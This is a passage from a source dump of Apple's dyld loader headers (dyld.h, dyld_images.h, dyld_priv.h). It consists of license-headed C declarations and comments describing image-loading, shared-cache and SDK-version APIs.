edit error handler as the errorNumber (what would be an 225 | * errno value for NSLinkEditUnixResourceError or a kern_return_t value for 226 | * NSLinkEditMachResourceError). 227 | */ 228 | typedef enum { 229 | NSOtherErrorRelocation, 230 | NSOtherErrorLazyBind, 231 | NSOtherErrorIndrLoop, 232 | NSOtherErrorLazyInit, 233 | NSOtherErrorInvalidArgs 234 | } NSOtherErrorNumbers; 235 | 236 | extern void NSLinkEditError(NSLinkEditErrors *c, int *errorNumber, const char** fileName, const char** errorString) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.1, 10.5, "dlerror()"); 237 | 238 | typedef struct { 239 | void (*undefined)(const char* symbolName); 240 | NSModule (*multiple)(NSSymbol s, NSModule oldModule, NSModule newModule); 241 | void (*linkEdit)(NSLinkEditErrors errorClass, int errorNumber, 242 | const char* fileName, const char* errorString); 243 | } NSLinkEditErrorHandlers; 244 | 245 | extern void NSInstallLinkEditErrorHandlers(const NSLinkEditErrorHandlers *handlers) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.1, 10.5, ""); 246 | 247 | extern bool NSAddLibrary(const char* pathName) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.1, 10.4, "dlopen()"); 248 | extern bool NSAddLibraryWithSearching(const char* pathName) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.1, 10.4, "dlopen()"); 249 | extern const struct mach_header* NSAddImage(const char* image_name, uint32_t options) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.1, 10.5, "dlopen()"); 250 | #define NSADDIMAGE_OPTION_NONE 0x0 251 | #define NSADDIMAGE_OPTION_RETURN_ON_ERROR 0x1 252 | #define NSADDIMAGE_OPTION_WITH_SEARCHING 0x2 253 | #define NSADDIMAGE_OPTION_RETURN_ONLY_IF_LOADED 0x4 254 | #define NSADDIMAGE_OPTION_MATCH_FILENAME_BY_INSTALLNAME 0x8 255 | 256 | extern bool _dyld_present(void) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.1, 10.5, "always true"); 257 | extern bool _dyld_launched_prebound(void) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.1, 10.5, "moot"); 258 | extern bool _dyld_all_twolevel_modules_prebound(void) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.3, 10.5, "moot"); 259 | extern bool _dyld_bind_fully_image_containing_address(const void* address) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.1, 10.5, "dlopen(RTLD_NOW)"); 260 | extern bool _dyld_image_containing_address(const void* address) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.3, 10.5, "dladdr()"); 261 | extern void _dyld_lookup_and_bind(const char* symbol_name, void **address, NSModule* module) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.1, 10.4, "dlsym()"); 262 | extern void _dyld_lookup_and_bind_with_hint(const char* symbol_name, const char* library_name_hint, void** address, NSModule* module) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.1, 10.4, "dlsym()"); 263 | extern void _dyld_lookup_and_bind_fully(const char* symbol_name, void** address, NSModule* module) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.1, 10.5, "dlsym()"); 264 | 265 | extern const struct mach_header* _dyld_get_image_header_containing_address(const void* address) __API_UNAVAILABLE(ios, tvos, watchos) DYLD_DRIVERKIT_UNAVAILABLE __OSX_DEPRECATED(10.3, 10.5, "dladdr()"); 266 | 267 | 268 | #if __cplusplus 269 | } 270 | #endif 271 | 272 | #endif /* _MACH_O_DYLD_H_ */ 273 | -------------------------------------------------------------------------------- /loader/include/mach-o/dyld.modulemap: -------------------------------------------------------------------------------- 1 | module MachO.dyld [system] [extern_c] { 2 | header "dyld.h" 3 | export * 4 | } 5 | -------------------------------------------------------------------------------- /loader/include/mach-o/dyld_images.h: -------------------------------------------------------------------------------- 1 | /* 2 | * Copyright (c) 2006-2010 Apple Inc. All rights reserved. 3 | * 4 | * @APPLE_LICENSE_HEADER_START@ 5 | * 6 | * This file contains Original Code and/or Modifications of Original Code 7 | * as defined in and that are subject to the Apple Public Source License 8 | * Version 2.0 (the 'License'). You may not use this file except in 9 | * compliance with the License. Please obtain a copy of the License at 10 | * http://www.opensource.apple.com/apsl/ and read it before using this 11 | * file. 12 | * 13 | * The Original Code and all software distributed under the License are 14 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER 15 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, 16 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, 17 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. 18 | * Please see the License for the specific language governing rights and 19 | * limitations under the License. 20 | * 21 | * @APPLE_LICENSE_HEADER_END@ 22 | */ 23 | #ifndef _DYLD_IMAGES_ 24 | #define _DYLD_IMAGES_ 25 | 26 | #include 27 | #include 28 | #include 29 | #include 30 | 31 | #if defined(__cplusplus) && (BUILDING_LIBDYLD || BUILDING_DYLD) 32 | #include 33 | #endif 34 | 35 | #ifdef __cplusplus 36 | extern "C" { 37 | #endif 38 | 39 | 40 | 41 | /* 42 | * Beginning in Mac OS X 10.4, this is how gdb discovers which mach-o images are loaded in a process. 43 | * 44 | * gdb looks for the symbol "_dyld_all_image_infos" in dyld. It contains the fields below. 45 | * 46 | * For a snashot of what images are currently loaded, the infoArray fields contain a pointer 47 | * to an array of all images. If infoArray is NULL, it means it is being modified, come back later. 48 | * 49 | * To be notified of changes, gdb sets a break point on the address pointed to by the notificationn 50 | * field. The function it points to is called by dyld with an array of information about what images 51 | * have been added (dyld_image_adding) or are about to be removed (dyld_image_removing). 52 | * 53 | * The notification is called after infoArray is updated. This means that if gdb attaches to a process 54 | * and infoArray is NULL, gdb can set a break point on notification and let the proccess continue to 55 | * run until the break point. Then gdb can inspect the full infoArray. 56 | * 57 | * The dyldVersion field always points to a C string that contains the dyld version. For instance, 58 | * in dyld-127.3, dyldVersion would contain a pointer to "127.3". 59 | * 60 | * The errorMessage and terminationFlags fields are normally zero. If dyld terminates a process 61 | * (for instance because a required dylib or symbol is missing), then the errorMessage field will 62 | * be set to point to a C string message buffer containing the reason dyld terminate the process. 63 | * The low bit of the terminationFlags will be set if dyld terminated the process before any user 64 | * code ran, in which case there is no need for the crash log to contain the backtrace. 65 | * 66 | * When dyld terminates a process because some required dylib or symbol cannot be bound, in 67 | * addition to the errorMessage field, it now sets the errorKind field and the corresponding 68 | * fields: errorClientOfDylibPath, errorTargetDylibPath, errorSymbol. 69 | * 70 | */ 71 | 72 | enum dyld_image_mode { dyld_image_adding=0, dyld_image_removing=1, dyld_image_info_change=2 }; 73 | 74 | struct dyld_image_info { 75 | const struct mach_header* imageLoadAddress; /* base address image is mapped into */ 76 | const char* imageFilePath; /* path dyld used to load the image */ 77 | uintptr_t imageFileModDate; /* time_t of image file */ 78 | /* if stat().st_mtime of imageFilePath does not match imageFileModDate, */ 79 | /* then file has been modified since dyld loaded it */ 80 | }; 81 | 82 | struct dyld_uuid_info { 83 | const struct mach_header* imageLoadAddress; /* base address image is mapped into */ 84 | uuid_t imageUUID; /* UUID of image */ 85 | }; 86 | 87 | #define DYLD_AOT_IMAGE_KEY_SIZE 32 88 | struct dyld_aot_image_info { 89 | const struct mach_header* x86LoadAddress; 90 | const struct mach_header* aotLoadAddress; 91 | const uint64_t aotImageSize; 92 | const uint8_t aotImageKey[DYLD_AOT_IMAGE_KEY_SIZE]; // uniquely identifying SHA-256 key for this aot 93 | }; 94 | 95 | struct dyld_aot_shared_cache_info { 96 | const uintptr_t cacheBaseAddress; 97 | uuid_t cacheUUID; 98 | }; 99 | 100 | typedef void (*dyld_image_notifier)(enum dyld_image_mode mode, uint32_t infoCount, const struct dyld_image_info info[]); 101 | 102 | /* for use in dyld_all_image_infos.errorKind field */ 103 | enum { dyld_error_kind_none=0, 104 | dyld_error_kind_dylib_missing=1, 105 | dyld_error_kind_dylib_wrong_arch=2, 106 | dyld_error_kind_dylib_version=3, 107 | dyld_error_kind_symbol_missing=4 108 | }; 109 | 110 | /* internal limit */ 111 | #define DYLD_MAX_PROCESS_INFO_NOTIFY_COUNT 8 112 | 113 | struct dyld_all_image_infos { 114 | uint32_t version; /* 1 in Mac OS X 10.4 and 10.5 */ 115 | uint32_t infoArrayCount; 116 | #if defined(__cplusplus) && (BUILDING_LIBDYLD || BUILDING_DYLD) 117 | std::atomic infoArray; 118 | #else 119 | const struct dyld_image_info* infoArray; 120 | #endif 121 | dyld_image_notifier notification; 122 | bool processDetachedFromSharedRegion; 123 | /* the following fields are only in version 2 (Mac OS X 10.6, iPhoneOS 2.0) and later */ 124 | bool libSystemInitialized; 125 | const struct mach_header* dyldImageLoadAddress; 126 | /* the following field is only in version 3 (Mac OS X 10.6, iPhoneOS 3.0) and later */ 127 | void* jitInfo; 128 | /* the following fields are only in version 5 (Mac OS X 10.6, iPhoneOS 3.0) and later */ 129 | const char* dyldVersion; 130 | const char* errorMessage; 131 | uintptr_t terminationFlags; 132 | /* the following field is only in version 6 (Mac OS X 10.6, iPhoneOS 3.1) and later */ 133 | void* coreSymbolicationShmPage; 134 | /* the following field is only in version 7 (Mac OS X 10.6, iPhoneOS 3.1) and later */ 135 | uintptr_t systemOrderFlag; 136 | /* the following field is only in version 8 (Mac OS X 10.7, iPhoneOS 3.1) and later */ 137 | uintptr_t uuidArrayCount; 138 | const struct dyld_uuid_info* uuidArray; /* only images not in dyld shared cache */ 139 | /* the following field is only in version 9 (Mac OS X 10.7, iOS 4.0) and later */ 140 | struct dyld_all_image_infos* dyldAllImageInfosAddress; 141 | /* the following field is only in version 10 (Mac OS X 10.7, iOS 4.2) and later */ 142 | uintptr_t initialImageCount; 143 | /* the following field is only in version 11 (Mac OS X 10.7, iOS 4.2) and later */ 144 | uintptr_t errorKind; 145 | const char* errorClientOfDylibPath; 146 | const char* errorTargetDylibPath; 147 | const char* errorSymbol; 148 | /* the following field is only in version 12 (Mac OS X 10.7, iOS 4.3) and later */ 149 | uintptr_t sharedCacheSlide; 150 | /* the following field is only in version 13 (Mac OS X 10.9, iOS 7.0) and later */ 151 | uint8_t sharedCacheUUID[16]; 152 | /* the following field is only in version 15 (macOS 10.12, iOS 10.0) and later */ 153 | uintptr_t sharedCacheBaseAddress; 154 | #if defined(__cplusplus) && (BUILDING_LIBDYLD || BUILDING_DYLD) 155 | // We want this to be atomic in libdyld so that we can see updates when we map it shared 156 | std::atomic infoArrayChangeTimestamp; 157 | #else 158 | uint64_t infoArrayChangeTimestamp; 159 | #endif 160 | const char* dyldPath; 161 | mach_port_t notifyPorts[DYLD_MAX_PROCESS_INFO_NOTIFY_COUNT]; 162 | #if __LP64__ 163 | uintptr_t reserved[13-(DYLD_MAX_PROCESS_INFO_NOTIFY_COUNT/2)]; 164 | #else 165 | uintptr_t reserved[13-DYLD_MAX_PROCESS_INFO_NOTIFY_COUNT]; 166 | #endif 167 | /* the following field is only in version 16 (macOS 10.13, iOS 11.0) and later */ 168 | uintptr_t compact_dyld_image_info_addr; 169 | size_t compact_dyld_image_info_size; 170 | uint32_t platform; // FIXME: really a dyld_platform_t, but those aren't exposed here. 171 | 172 | /* the following field is only in version 17 (macOS 10.16) and later */ 173 | uint32_t aotInfoCount; 174 | const struct dyld_aot_image_info* aotInfoArray; 175 | uint64_t aotInfoArrayChangeTimestamp; 176 | uintptr_t aotSharedCacheBaseAddress; 177 | uint8_t aotSharedCacheUUID[16]; 178 | }; 179 | 180 | /* 181 | * Beginning in Mac OS X 10.5, this is how gdb discovers where the shared cache is in a process. 182 | * Images that are in the shared cache have their segments rearranged, so when using imageFilePath 183 | * to load the file from disk, you have to know to adjust addresses based on how their segment 184 | * was rearranged. 185 | * 186 | * gdb looks for the symbol "_dyld_shared_region_ranges" in dyld. 187 | * 188 | * It contains information the count of shared regions used by the process. The count is 189 | * the number of start/length pairs. 190 | */ 191 | struct dyld_shared_cache_ranges { 192 | uintptr_t sharedRegionsCount; /* how many ranges follow */ 193 | struct { 194 | uintptr_t start; 195 | uintptr_t length; 196 | } ranges[4]; /* max regions */ 197 | }; 198 | extern struct dyld_shared_cache_ranges dyld_shared_cache_ranges __attribute__((visibility("hidden"))); 199 | 200 | 201 | 202 | #ifdef __cplusplus 203 | } 204 | #endif 205 | 206 | #endif /* _DYLD_IMAGES_ */ 207 | -------------------------------------------------------------------------------- /loader/include/mach-o/dyld_priv.h: -------------------------------------------------------------------------------- 1 | /* -*- mode: C++; c-basic-offset: 4; tab-width: 4 -*- 2 | * 3 | * Copyright (c) 2003-2010 Apple Inc. All rights reserved. 4 | * 5 | * @APPLE_LICENSE_HEADER_START@ 6 | * 7 | * This file contains Original Code and/or Modifications of Original Code 8 | * as defined in and that are subject to the Apple Public Source License 9 | * Version 2.0 (the 'License'). You may not use this file except in 10 | * compliance with the License. Please obtain a copy of the License at 11 | * http://www.opensource.apple.com/apsl/ and read it before using this 12 | * file. 13 | * 14 | * The Original Code and all software distributed under the License are 15 | * distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER 16 | * EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES, 17 | * INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY, 18 | * FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT. 19 | * Please see the License for the specific language governing rights and 20 | * limitations under the License. 21 | * 22 | * @APPLE_LICENSE_HEADER_END@ 23 | */ 24 | #ifndef _MACH_O_DYLD_PRIV_H_ 25 | #define _MACH_O_DYLD_PRIV_H_ 26 | 27 | #include 28 | #include 29 | #include 30 | #include 31 | #include 32 | #include 33 | #include 34 | 35 | #if __cplusplus 36 | extern "C" { 37 | #endif /* __cplusplus */ 38 | 39 | 40 | 41 | // 42 | // private interface between libSystem.dylib and dyld 43 | // 44 | extern void _dyld_atfork_prepare(void); 45 | extern void _dyld_atfork_parent(void); 46 | extern void _dyld_fork_child(void); 47 | 48 | 49 | 50 | typedef void (*_dyld_objc_notify_mapped)(unsigned count, const char* const paths[], const struct mach_header* const mh[]); 51 | typedef void (*_dyld_objc_notify_init)(const char* path, const struct mach_header* mh); 52 | typedef void (*_dyld_objc_notify_unmapped)(const char* path, const struct mach_header* mh); 53 | 54 | 55 | // 56 | // Note: only for use by objc runtime 57 | // Register handlers to be called when objc images are mapped, unmapped, and initialized. 58 | // Dyld will call back the "mapped" function with an array of images that contain an objc-image-info section. 59 | // Those images that are dylibs will have the ref-counts automatically bumped, so objc will no longer need to 60 | // call dlopen() on them to keep them from being unloaded. During the call to _dyld_objc_notify_register(), 61 | // dyld will call the "mapped" function with already loaded objc images. During any later dlopen() call, 62 | // dyld will also call the "mapped" function. Dyld will call the "init" function when dyld would be called 63 | // initializers in that image. This is when objc calls any +load methods in that image. 64 | // 65 | void _dyld_objc_notify_register(_dyld_objc_notify_mapped mapped, 66 | _dyld_objc_notify_init init, 67 | _dyld_objc_notify_unmapped unmapped); 68 | 69 | 70 | // 71 | // get slide for a given loaded mach_header 72 | // Mac OS X 10.6 and later 73 | // 74 | extern intptr_t _dyld_get_image_slide(const struct mach_header* mh); 75 | 76 | 77 | 78 | struct dyld_unwind_sections 79 | { 80 | const struct mach_header* mh; 81 | const void* dwarf_section; 82 | uintptr_t dwarf_section_length; 83 | const void* compact_unwind_section; 84 | uintptr_t compact_unwind_section_length; 85 | }; 86 | 87 | 88 | // 89 | // Returns true iff some loaded mach-o image contains "addr". 90 | // info->mh mach header of image containing addr 91 | // info->dwarf_section pointer to start of __TEXT/__eh_frame section 92 | // info->dwarf_section_length length of __TEXT/__eh_frame section 93 | // info->compact_unwind_section pointer to start of __TEXT/__unwind_info section 94 | // info->compact_unwind_section_length length of __TEXT/__unwind_info section 95 | // 96 | // Exists in Mac OS X 10.6 and later 97 | #if !__USING_SJLJ_EXCEPTIONS__ 98 | extern bool _dyld_find_unwind_sections(void* addr, struct dyld_unwind_sections* info); 99 | #endif 100 | 101 | 102 | // 103 | // This is an optimized form of dladdr() that only returns the dli_fname field. 104 | // 105 | // Exists in Mac OS X 10.6 and later 106 | extern const char* dyld_image_path_containing_address(const void* addr); 107 | 108 | 109 | // 110 | // This is an optimized form of dladdr() that only returns the dli_fbase field. 111 | // Return NULL, if address is not in any image tracked by dyld. 112 | // 113 | // Exists in Mac OS X 10.11 and later 114 | extern const struct mach_header* dyld_image_header_containing_address(const void* addr); 115 | 116 | // 117 | // Return the mach header of the process 118 | // 119 | // Exists in Mac OS X 10.16 and later 120 | extern const struct mach_header* _dyld_get_prog_image_header(void); 121 | 122 | typedef uint32_t dyld_platform_t; 123 | 124 | typedef struct { 125 | dyld_platform_t platform; 126 | uint32_t version; 127 | } dyld_build_version_t; 128 | 129 | // Returns the active platform of the process 130 | extern dyld_platform_t dyld_get_active_platform(void) __API_AVAILABLE(macos(10.14), ios(12.0), watchos(5.0), tvos(12.0)); 131 | 132 | // Base platforms are platforms that have version numbers (macOS, iOS, watchos, tvOS, bridgeOS) 133 | // All other platforms are mapped to a base platform for version checks 134 | 135 | // It is intended that most code in the OS will use the version set constants, which will correctly deal with secret and future 136 | // platforms. For example: 137 | 138 | // if (dyld_program_sdk_at_least(dyld_fall_2018_os_versions)) { 139 | // New behaviour for programs built against the iOS 12, tvOS 12, watchOS 5, macOS 10.14, or bridgeOS 3 (or newer) SDKs 140 | // } else { 141 | // Old behaviour 142 | // } 143 | 144 | // In cases where more precise control is required (such as APIs that were added to varions platforms in different years) 145 | // the os specific values may be used instead. Unlike the version set constants, the platform specific ones will only ever 146 | // return true if the running binary is the platform being testsed, allowing conditions to be built for specific platforms 147 | // and releases that came out at different times. For example: 148 | 149 | // if (dyld_program_sdk_at_least(dyld_platform_version_iOS_12_0) 150 | // || dyld_program_sdk_at_least(dyld_platform_version_watchOS_6_0)) { 151 | // New behaviour for programs built against the iOS 12 (fall 2018), watchOS 6 (fall 2019) (or newer) SDKs 152 | // } else { 153 | // Old behaviour all other platforms, as well as older iOSes and watchOSes 154 | // } 155 | 156 | extern dyld_platform_t dyld_get_base_platform(dyld_platform_t platform) __API_AVAILABLE(macos(10.14), ios(12.0), watchos(5.0), tvos(12.0)); 157 | 158 | // SPI to ask if a platform is a simulation platform 159 | extern bool dyld_is_simulator_platform(dyld_platform_t platform) __API_AVAILABLE(macos(10.14), ios(12.0), watchos(5.0), tvos(12.0)); 160 | 161 | // Takes a version and returns if the image was built againt that SDK or newer 162 | // In the case of multi_plaform mach-o's it tests against the active platform 163 | extern bool dyld_sdk_at_least(const struct mach_header* mh, dyld_build_version_t version) __API_AVAILABLE(macos(10.14), ios(12.0), watchos(5.0), tvos(12.0)); 164 | 165 | // Takes a version and returns if the image was built with that minos version or newer 166 | // In the case of multi_plaform mach-o's it tests against the active platform 167 | extern bool dyld_minos_at_least(const struct mach_header* mh, dyld_build_version_t version) __API_AVAILABLE(macos(10.14), ios(12.0), watchos(5.0), tvos(12.0)); 168 | 169 | // Convenience versions of the previous two functions that run against the the main executable 170 | extern bool dyld_program_sdk_at_least(dyld_build_version_t version) __API_AVAILABLE(macos(10.14), ios(12.0), watchos(5.0), tvos(12.0)); 171 | extern bool dyld_program_minos_at_least(dyld_build_version_t version) __API_AVAILABLE(macos(10.14), ios(12.0), watchos(5.0), tvos(12.0)); 172 | 173 | // Function that walks through the load commands and calls the internal block for every version found 174 | // Intended as a fallback for very complex (and rare) version checks, or for tools that need to 175 | // print our everything for diagnostic reasons 176 | extern void dyld_get_image_versions(const struct mach_header* mh, void (^callback)(dyld_platform_t platform, uint32_t sdk_version, uint32_t min_version)) __API_AVAILABLE(macos(10.14), ios(12.0), watchos(5.0), tvos(12.0)); 177 | 178 | // Convienence constants for dyld version SPIs. 179 | 180 | // Because we now have so many different OSes with different versions these version set values are intended to 181 | // to provide a more convenient way to version check. They may be used instead of platform specific version in 182 | // dyld_sdk_at_least(), dyld_minos_at_least(), dyld_program_sdk_at_least(), and dyld_program_minos_at_least(). 183 | // Since they are references into a lookup table they MUST NOT be used by any code that does not ship as part of 184 | // the OS, as the values may change and the tables in older OSes may not have the necessary values for back 185 | // deployed binaries. These values are future proof against new platforms being added, and any checks against 186 | // platforms that did not exist at the epoch of a version set will return true since all versions of that platform 187 | // are inherently newer. 188 | 189 | //@VERSION_DEFS@ 190 | 191 | // 192 | // This finds the SDK version a binary was built against. 193 | // Returns zero on error, or if SDK version could not be determined. 194 | // 195 | // Exists in Mac OS X 10.8 and later 196 | // Exists in iOS 6.0 and later 197 | extern uint32_t dyld_get_sdk_version(const struct mach_header* mh); 198 | 199 | 200 | // 201 | // This finds the SDK version that the main executable was built against. 202 | // Returns zero on error, or if SDK version could not be determined. 203 | // 204 | // Note on watchOS, this returns the equivalent iOS SDK version number 205 | // (i.e an app built against watchOS 2.0 SDK returne 9.0). To see the 206 | // platform specific sdk version use dyld_get_program_sdk_watch_os_version(). 207 | // 208 | // Exists in Mac OS X 10.8 and later 209 | // Exists in iOS 6.0 and later 210 | extern uint32_t dyld_get_program_sdk_version(void); 211 | 212 | #if TARGET_OS_WATCH 213 | // watchOS only. 214 | // This finds the Watch OS SDK version that the main executable was built against. 215 | // Exists in Watch OS 2.0 and later 216 | extern uint32_t dyld_get_program_sdk_watch_os_version(void) __API_AVAILABLE(watchos(2.0)); 217 | 218 | 219 | // watchOS only. 220 | // This finds the Watch min OS version that the main executable was built to run on. 221 | // Note: dyld_get_program_min_os_version() returns the iOS equivalent (e.g. 9.0) 222 | // whereas this returns the raw watchOS version (e.g. 2.0). 223 | // Exists in Watch OS 3.0 and later 224 | extern uint32_t dyld_get_program_min_watch_os_version(void) __API_AVAILABLE(watchos(3.0)); 225 | #endif 226 | 227 | 228 | // 229 | // This finds the min OS version a binary was built to run on. 230 | // Returns zero on error, or if no min OS recorded in binary. 231 | // 232 | // Exists in Mac OS X 10.8 and later 233 | // Exists in iOS 6.0 and later 234 | extern uint32_t dyld_get_min_os_version(const struct mach_header* mh); 235 | 236 | 237 | // 238 | // This finds the min OS version the main executable was built to run on. 239 | // Returns zero on error, or if no min OS recorded in binary. 240 | // 241 | // Exists in Mac OS X 10.8 and later 242 | // Exists in iOS 6.0 and later 243 | extern uint32_t dyld_get_program_min_os_version(void); 244 | 245 | 246 | 247 | 248 | // 249 | // Returns if any OS dylib has overridden its copy in the shared cache 250 | // 251 | // Exists in iPhoneOS 3.1 and later 252 | // Exists in Mac OS X 10.10 and later 253 | extern bool dyld_shared_cache_some_image_overridden(void); 254 | 255 | 256 | 257 | // 258 | // Returns if the process is setuid or is code signed with entitlements. 259 | // NOTE: It is safe to call this prior to malloc being initialized. This function 260 | // is guaranteed to not call malloc, or depend on its state. 261 | // 262 | // Exists in Mac OS X 10.9 and later 263 | extern bool dyld_process_is_restricted(void); 264 | 265 | 266 | 267 | // 268 | // Returns path used by dyld for standard dyld shared cache file for the current arch. 269 | // 270 | // Exists in Mac OS X 10.11 and later 271 | extern const char* dyld_shared_cache_file_path(void); 272 | 273 | 274 | 275 | // 276 | // Returns if there are any inserted (via DYLD_INSERT_LIBRARIES) or interposing libraries. 277 | // 278 | // Exists in Mac OS X 10.15 and later 279 | extern bool dyld_has_inserted_or_interposing_libraries(void); 280 | 281 | // 282 | // Return true if dyld contains a fix for a specific identifier. Intended for staging breaking SPI 283 | // changes 284 | // 285 | // Exists in macOS 10.16, iOS 14, tvOS14, watchOS 7 and later 286 | 287 | extern bool _dyld_has_fix_for_radar(const char *rdar); 288 | 289 | 290 | // 291 | // for OpenGL to tell dyld it is ok to deallocate a memory based image when done. 292 | // 293 | // Exists in Mac OS X 10.9 and later 294 | #define NSLINKMODULE_OPTION_CAN_UNLOAD 0x20 295 | 296 | 297 | // 298 | // Update all bindings on specified image. 299 | // Looks for uses of 'replacement' and changes it to 'replacee'. 300 | // NOTE: this is less safe than using static interposing via DYLD_INSERT_LIBRARIES 301 | // because the running program may have already copy the pointer values to other 302 | // locations that dyld does not know about. 303 | // 304 | struct dyld_interpose_tuple { 305 | const void* replacement; 306 | const void* replacee; 307 | }; 308 | extern void dyld_dynamic_interpose(const struct mach_header* mh, const struct dyld_interpose_tuple array[], size_t count); 309 | 310 | 311 | struct dyld_shared_cache_dylib_text_info { 312 | uint64_t version; // current version 2 313 | // following fields all exist in version 1 314 | uint64_t loadAddressUnslid; 315 | uint64_t textSegmentSize; 316 | uuid_t dylibUuid; 317 | const char* path; // pointer invalid at end of iterations 318 | // following fields all exist in version 2 319 | uint64_t textSegmentOffset; // offset from start of cache 320 | }; 321 | typedef struct dyld_shared_cache_dylib_text_info dyld_shared_cache_dylib_text_info; 322 | 323 | 324 | #ifdef __BLOCKS__ 325 | // 326 | // Given the UUID of a dyld shared cache file, this function will attempt to locate the cache 327 | // file and if found iterate all images, returning info about each one. Returns 0 on success. 328 | // 329 | // Exists in Mac OS X 10.11 and later 330 | // iOS 9.0 and later 331 | extern int dyld_shared_cache_iterate_text(const uuid_t cacheUuid, void (^callback)(const dyld_shared_cache_dylib_text_info* info)); 332 | 333 | 334 | // 335 | // Given the UUID of a dyld shared cache file, and a NULL terminated array of extra directory paths to search, 336 | // this function will scan the standard and extra directories looking for a cache file that matches the UUID 337 | // and if found iterate all images, returning info about each one. Returns 0 on success. 338 | // 339 | // Exists in Mac OS X 10.12 and later 340 | // iOS 10.0 and later 341 | extern int dyld_shared_cache_find_iterate_text(const uuid_t cacheUuid, const char* extraSearchDirs[], void (^callback)(const dyld_shared_cache_dylib_text_info* info)); 342 | #endif /* __BLOCKS */ 343 | 344 | 345 | // 346 | // Returns if the specified address range is in a dyld owned memory 347 | // that is mapped read-only and will never be unloaded. 348 | // 349 | // Exists in Mac OS X 10.12 and later 350 | // iOS 10.0 and later 351 | extern bool _dyld_is_memory_immutable(const void* addr, size_t length); 352 | 353 | 354 | // 355 | // Finds the UUID (from LC_UUID load command) of given image. 356 | // Returns false if LC_UUID is missing or mach_header is malformed. 357 | // 358 | // Exists in Mac OS X 10.12 and later 359 | // Exists in iOS 10.0 and later 360 | extern bool _dyld_get_image_uuid(const struct mach_header* mh, uuid_t uuid); 361 | 362 | 363 | // 364 | // Gets the UUID of the dyld shared cache in the current process. 365 | // Returns false if there is no dyld shared cache in use by the processes. 366 | // 367 | // Exists in Mac OS X 10.12 and later 368 | // Exists in iOS 10.0 and later 369 | extern bool _dyld_get_shared_cache_uuid(uuid_t uuid); 370 | 371 | 372 | // 373 | // Returns the start address of the dyld cache in the process and sets length to the size of the cache. 374 | // Returns NULL if the process is not using a dyld shared cache 375 | // 376 | // Exists in Mac OS X 10.13 and later 377 | // Exists in iOS 11.0 and later 378 | extern const void* _dyld_get_shared_cache_range(size_t* length); 379 | 380 | 381 | // 382 | // Returns if the currently active dyld shared cache is optimized. 383 | // Note: macOS does not use optimized caches and will always return false. 384 | // 385 | // Exists in Mac OS X 10.15 and later 386 | // Exists in iOS 13.0 and later 387 | extern bool _dyld_shared_cache_optimized(void); 388 | 389 | 390 | // 391 | // Returns if the currently active dyld shared cache was built locally. 392 | // 393 | // Exists in Mac OS X 10.15 and later 394 | // Exists in iOS 13.0 and later 395 | extern bool _dyld_shared_cache_is_locally_built(void); 396 | 397 | // 398 | // Returns if the given app needs a closure built. 399 | // 400 | // Exists in Mac OS X 10.15 and later 401 | // Exists in iOS 13.0 and later 402 | extern bool dyld_need_closure(const char* execPath, const char* dataContainerRootDir); 403 | 404 | 405 | struct dyld_image_uuid_offset { 406 | uuid_t uuid; 407 | uint64_t offsetInImage; 408 | const struct mach_header* image; 409 | }; 410 | 411 | // 412 | // Given an array of addresses, returns info about each address. 413 | // Common usage is the array or addresses was produced by a stack backtrace. 414 | // For each address, returns the where that image was loaded, the offset 415 | // of the address in the image, and the image's uuid. If a specified 416 | // address is unknown to dyld, all fields will be returned a zeros. 417 | // 418 | // Exists in macOS 10.14 and later 419 | // Exists in iOS 12.0 and later 420 | extern void _dyld_images_for_addresses(unsigned count, const void* addresses[], struct dyld_image_uuid_offset infos[]); 421 | 422 | 423 | // 424 | // Lets you register a callback which is called each time an image is loaded and provides the mach_header*, path, and 425 | // whether the image may be unloaded later. During the call to _dyld_register_for_image_loads(), the callback is called 426 | // once for each image currently loaded. 427 | // 428 | // Exists in macOS 10.14 and later 429 | // Exists in iOS 12.0 and later 430 | extern void _dyld_register_for_image_loads(void (*func)(const struct mach_header* mh, const char* path, bool unloadable)); 431 | 432 | 433 | 434 | 435 | // 436 | // Lets you register a callback which is called for bulk notifications of images loaded. During the call to 437 | // _dyld_register_for_bulk_image_loads(), the callback is called once with all images currently loaded. 438 | // Then later during dlopen() the callback is called once with all newly images. 439 | // 440 | // Exists in macOS 10.15 and later 441 | // Exists in iOS 13.0 and later 442 | extern void _dyld_register_for_bulk_image_loads(void (*func)(unsigned imageCount, const struct mach_header* mhs[], const char* paths[])); 443 | 444 | 445 | 